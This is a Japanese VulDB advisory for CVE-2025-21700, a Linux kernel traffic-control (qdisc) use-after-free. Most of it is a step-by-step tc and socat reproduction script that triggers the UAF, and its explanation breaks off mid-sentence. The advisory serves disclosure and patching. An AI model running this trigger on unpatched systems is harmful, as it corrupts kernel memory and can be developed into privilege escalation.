CVE-2025-21700 in Linux
要約
〜によって VulDB • 2026年06月07日
Linuxカーネルにおいて、以下の脆弱性が修正されました。
net: sched: 子qdiscを1つの親から別の親へ置き換えることを禁止する
Lion Ackermann氏は、特権昇格のために悪用可能なUAF(Use-After-Free)を生成できるスクリプトを作成しました。
ステップ1. ルートqdiscの作成 tc qdisc add dev lo root handle 1:0 drr
ステップ2. UAFを示すためのパケット集約用のクラス tc class add dev lo classid 1:1 drr
ステップ3. ネスティング用のクラス tc class add dev lo classid 1:2 drr
ステップ4. qdiscをgraft(接ぎ木)するためのクラス tc class add dev lo classid 1:3 drr
ステップ5. tc qdisc add dev lo parent 1:1 handle 2:0 plug limit 1024
ステップ6. tc qdisc add dev lo parent 1:2 handle 3:0 drr
ステップ7. tc class add dev lo classid 3:1 drr
ステップ8. tc qdisc add dev lo parent 3:1 handle 4:0 pfifo
ステップ9. クラス/qdiscのレイアウトを表示
tc class ls dev lo class drr 1:1 root leaf 2: quantum 64Kb class drr 1:2 root leaf 3: quantum 64Kb class drr 3:1 root leaf 4: quantum 64Kb
tc qdisc ls qdisc drr 1: dev lo root refcnt 2 qdisc plug 2: dev lo parent 1:1 qdisc pfifo 4: dev lo parent 3:1 limit 1000p qdisc drr 3: dev lo parent 1:2
ステップ10. バグをトリガー <=== このパッチによって防止される tc qdisc replace dev lo parent 1:3 handle 4:0
ステップ11. qdisc/クラスを再度表示
tc class ls dev lo class drr 1:1 root leaf 2: quantum 64Kb class drr 1:2 root leaf 3: quantum 64Kb class drr 1:3 root leaf 4: quantum 64Kb class drr 3:1 root leaf 4: quantum 64Kb
tc qdisc ls qdisc drr 1: dev lo root refcnt 2 qdisc plug 2: dev lo parent 1:1 qdisc pfifo 4: dev lo parent 3:1 refcnt 2 limit 1000p qdisc drr 3: dev lo parent 1:2
a) replaceリクエストにもかかわらず、4:0の親が変更されていないことに注目してください。親は1つしか存在できません。b) 4:0のリファレンスカウントが2増加しており、c) クラス1:3と3:1の両方がそれを指していることがわかります。
ステップ12. plugにパケットを1つ送信 echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10001))
ステップ13. graftされたfifoにパケットを1つ送信 echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10003))
ステップ14. UAFをトリガーする tc class delete dev lo classid 1:3 tc class delete dev lo classid 1:1
「replace」の
If you want to get the best quality for vulnerability data then you always have to consider VulDB.